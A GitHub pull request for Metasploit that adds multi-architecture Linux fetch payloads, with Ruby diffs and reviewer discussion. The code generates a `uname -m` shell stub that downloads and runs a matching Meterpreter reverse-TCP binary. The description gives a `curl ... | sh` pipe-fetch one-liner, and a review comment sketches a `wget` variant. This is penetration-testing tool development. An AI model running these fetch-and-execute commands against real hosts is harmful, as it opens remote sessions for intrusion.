-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Add Fetch Multi payload support #20074
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
script | ||
end | ||
|
||
def _generate_bruteforce_multi_commands(arch_payloads = []) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I completely forgot I added this- my thought was that in the event that we were willing to trade stealth for simplicity, we would not bother checking the arch, and just try to run everything..... Not exactly subtle, but I ran into issues where the arch names were not really consistent, so this would mean it would just work
Probably adding an advanced option for brute forcing is they way to go
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe add a TODO
then, as this is a tad super-gross :D
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't look like it's referenced anywhere, and I'd be inclined to try and advance this without it as an option for MVP.
script | ||
end | ||
|
||
def _generate_bruteforce_multi_commands(arch_payloads = []) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe add a TODO
then, as this is a tad super-gross :D
def generate(opts = {}) | ||
opts[:arch] ||= module_info['AdaptedArch'] | ||
if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' | ||
# create a hash with all the arches and payloads |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
To me, it's unclear that this comment means :/ Do you mean a hashtable?
srv_entry = {} | ||
srv_entry[:arch] = arch | ||
srv_entry[:uri] = default_srvuri(arch.to_s) | ||
srv_entry[:payload] = generate_payload_exe(opts) | ||
@srv_resources << srv_entry |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
srv_entry = {} | |
srv_entry[:arch] = arch | |
srv_entry[:uri] = default_srvuri(arch.to_s) | |
srv_entry[:payload] = generate_payload_exe(opts) | |
@srv_resources << srv_entry | |
srv_entry = { | |
:arch => arch, | |
:uri => default_srvuri(arch.to_s) | |
:payload => generate_payload_exe(opts) | |
} | |
@srv_resources << srv_entry |
I think this is a bit more readable.
srv_entry[:payload] = cmd | ||
@srv_resources << srv_entry | ||
cmd = generate_pipe_command(pipe_srvuri) | ||
print_status("Pipe command: #{cmd}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The pipe command isn't shown in the other branch of the condition, nor is the fetch
one. It would be nice to either print all of them, or none of them.
def os_arches(meterp_arch) | ||
# multiple `uname -m` values map to the same payload arch | ||
# we will probably need to expand this | ||
case meterp_arch | ||
when ARCH_AARCH64 | ||
return ['aarch64'] | ||
when ARCH_ARMBE | ||
return ['armbe'] | ||
when ARCH_ARMLE | ||
return ['armv5l', 'armv6l', 'armv7l'] | ||
when ARCH_MIPS64 | ||
return ['mips64'] | ||
when ARCH_MIPSBE | ||
return ['mipsbe'] | ||
when ARCH_MIPSLE | ||
return ['mips'] | ||
when ARCH_PPC | ||
return ['ppc'] | ||
when ARCH_PPCE500V2 | ||
return ['ppce500v2'] | ||
when ARCH_PPC64LE | ||
return ['ppc64le'] | ||
when ARCH_X64 | ||
return ['x64', 'x86_64'] | ||
when ARCH_X86 | ||
return ['x86'] | ||
when ARCH_ZARCH | ||
return ['zarch'] | ||
end | ||
@pipe_cmd = generate_fetch_commands | ||
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows | ||
vprint_status("Command served: #{@pipe_cmd}") | ||
cmd = generate_pipe_command | ||
else | ||
cmd = generate_fetch_commands | ||
end | ||
vprint_status("Command to run on remote host: #{cmd}") | ||
cmd | ||
end | ||
end | ||
|
||
def generate_pipe_command | ||
# TODO: Make a check method that determines if we support a platform/server/command combination | ||
@pipe_uri = pipe_srvuri | ||
def multi_arches | ||
arches = [] | ||
arches << ARCH_AARCH64 | ||
arches << ARCH_ARMBE | ||
arches << ARCH_ARMLE | ||
arches << ARCH_MIPS64 | ||
arches << ARCH_MIPSBE | ||
arches << ARCH_MIPSLE | ||
arches << ARCH_PPC | ||
arches << ARCH_PPCE500V2 | ||
arches << ARCH_PPC64LE | ||
arches << ARCH_X64 | ||
arches << ARCH_X86 | ||
arches << ARCH_ZARCH | ||
arches | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure that this belongs in the fetch.rb
file, but I don't have a suggestion for where to put it instead :/
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was giving some thoughts to offloading this bit to the multi payload entirely and having the payload return an array of payloads from only a single generate
call, but I'm concerned about that basically breaking everything.
We could also put this in rex-arch as linux_arches
or something like that.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I broke this out to a multi library with some of the other multi methods- not perfect, but it gets the fetch library a bit more manageable.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
+1 for moving ARCH_*
enum -> arch string lookup out of the adapter.
Outside of this adapter, I think for most use cases we would want this to be the other way around: arch
string -> ARCH_
enum.
arches = []
case meterp_arch
when 'aarch64'
arches << ARCH_AARCH64
when 'armbe'
arches << ARCH_ARMBE
when 'armv5l', 'armv6l', 'armv7l'
arches << ARCH_ARMLE
when ARCH_MIPS64
# ...
Storing as a Hash would likely be more reusable, and would facilitate ARCH_*
enum -> arch by iterating:
arches = {
'aarch64' => ARCH_AARCH64,
'armbe' => ARCH_ARMBE,
'armv5l' => ARCH_ARMLE,
'armv6l' => ARCH_ARMLE,
'armv7l' => ARCH_ARMLE,
# ...
}
arch = ARCH_ARMLE;
return arches.select {|k,v| v == arch}.keys
Here is a somewhat up-to-date-yet-incomplete list of uname -
m values:
Check to make sure that the payload can be selected even if a specific arch target is selected. |
'timwr' | ||
], | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_ANY, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should really be the subset of architectures that are supported by generate.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was doing some testing on this, are we expecting to have this payload fully functional on his own? i am pretty sure we will not be able to do the generate -f elf -o ~/payload
from msfconsole having neither the ARCH_ANY nor the array of supported arches because the case opts[:arch]
will be the array of arches, maybe we can have this working on msfvenom (not sure).
Also we will have to modify the payload_compatibility
inside the exploit driver to allow us select the payload that instead of have ARCH == EXPLOIT_TARGET_ARCH, has that arch as an item contained inside the array. then probably will we need to swap the ARCH
value of the payload object runtime to match the exploit selected target arch.
Arch word count: 10
# If I add an exit to this so that it leaves after launching, FETCH_FILELESS bash fails | ||
end | ||
end | ||
print_status(script) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This looks like it was left over from debugging. If it's necessary to keep it, can you add some context in a message so the user knows what they're looking at instead of just logging executable code?
print_status(script) |
script | ||
end | ||
|
||
def _generate_bruteforce_multi_commands(arch_payloads = []) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't look like it's referenced anywhere, and I'd be inclined to try and advance this without it as an option for MVP.
def _generate_multi_commands(arch_payloads = []) | ||
# There is a great deal of room for improvement here. | ||
script = 'archinfo=$(uname -m);' | ||
arch_payloads.each do |srv_entry| | ||
vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") | ||
os_arches(srv_entry[:arch]).each do |os_arch| | ||
script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); fi; " | ||
# If I add an exit to this so that it leaves after launching, FETCH_FILELESS bash fails | ||
end | ||
end | ||
print_status(script) | ||
script | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you think would be possible to generate resources URI like
<base64 arch>-<fixed config id>
where what is changing is really the base64 and then having the stub doing something like
wget http://<lhost>:<lport>/$(uname -m|base64)-<config-id>
?
An alternative would be trying to understand the difference between an x64
and an Aarcb64
URI in msf and transform it automagically (TM) inside the bash. but this would break easly if we change stuff.
Or maybe just add another header?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you think would be possible to generate resources URI like -
where what is changing is really the base64 and then having the stub doing something like
wget http://:/$(uname -m|base64)-?
Yes, but then we assume we have access to base64 on the target. In most cases, we probably will, but I was trying to limit the assumed tools on the target host.
when ARCH_ZARCH | ||
mettle_arch = 's390x-linux-musl' | ||
|
||
else |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Add graceful fail here.....
|
||
include Msf::Payload::Single | ||
include Msf::Sessions::MeterpreterOptions | ||
include Msf::Sessions::MettleConfig |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Little side note. When the Stageless Mettle PR will be landed, we will need to adjust this to embed the in-memory loader aswell
For what it is worth, the linux/multi/meterpreter_reverse_tcp fails even if we hand it an arch:
It turns out we go through a bunch of tests to verify that the arch handed to venom is valid, and we generate an error if it is incompatible, but then..... just ignore it and use the default arch for the payload selected? I'm unclear about why we bother to accept a value then just turn around and use the default value? The final verification and ignoring takes place in the This does not seem to be an issue with fetch payloads, though. If someone specifies an architecture as an option, it should make it to the generate method. If it did, the payload would perform as expected. Also, no one should be using the linux/multi/meterpreter_reverse_tcp payload on its own. It only exists to allow dynamic configuration within the fetch payload adapters. At some point we should fix venom so that it actually passes the ach as an opt to the generate method and add the option of arch to msfconsole's |
Msf::OptBool.new('FETCH_BRUTEFORCE', [true, 'Attempt all possible payloads if none match.', false]) | ||
] | ||
) | ||
deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why are we deregistering FETCH_FILENAME
?
At a guess, the devices may be using a kernel built without |
TL;DR
This adds a way to use fetch payloads on a Linux platform and have a single fetch command payload establish a session on a Linux host of unknown architecture.
Description
This PR does several things:
linux/multi/meterpreter_reverse_tcp
that supports dynamically changing the architecture for a payload during the module run.meterpreter_multi_linux
to handle a callback from a stageless Linux payload of unknown architecture.cmd/linux/http/multi/reverse_tcp
that when selected, creates and hosts stageless meterpreter_reverse_tcp payloads for all supported Linux architectures and generates a command to discern the architecture of the target host and then fetch/execute the correct payload.pipe_fetch
option, so you can get all this functionality with a tiny command likecurl -s http://10.5.135.118:8080/x|sh
Other
There are about a half-dozen ways to implement this, and this is probably going to be a draft for a while. We could revamp the http servers to accept a callback with the architecture the target needed, but that would require another set of communications, and this struck me as a bit simpler. Host all the payloads and let the target script get the right one.
I am sure there will be a lot of ways to improve the actual shell script created- I favored avoiding special characters over length since we support pip_fetch, but I'm by no means an expert at Linux shell fu, so I welcome suggestions for improvement on it any anything else.
This only works on single http fetch payloads right now, but until we get a consensus on behavior, I did not want to do too much work. It probably breaks the regular http fetch payloads, but that should be an easy fix.
I'm also seeing some issues with some architectures and FETCH_FILELESS. This may simply be due to the age of the devices or the specific shell they use, but I'll need to double-check that.
Finally, I apologize for the wall of text......
Using Regular Fetch Payloads
Using FETCH_FILELESS as `bash`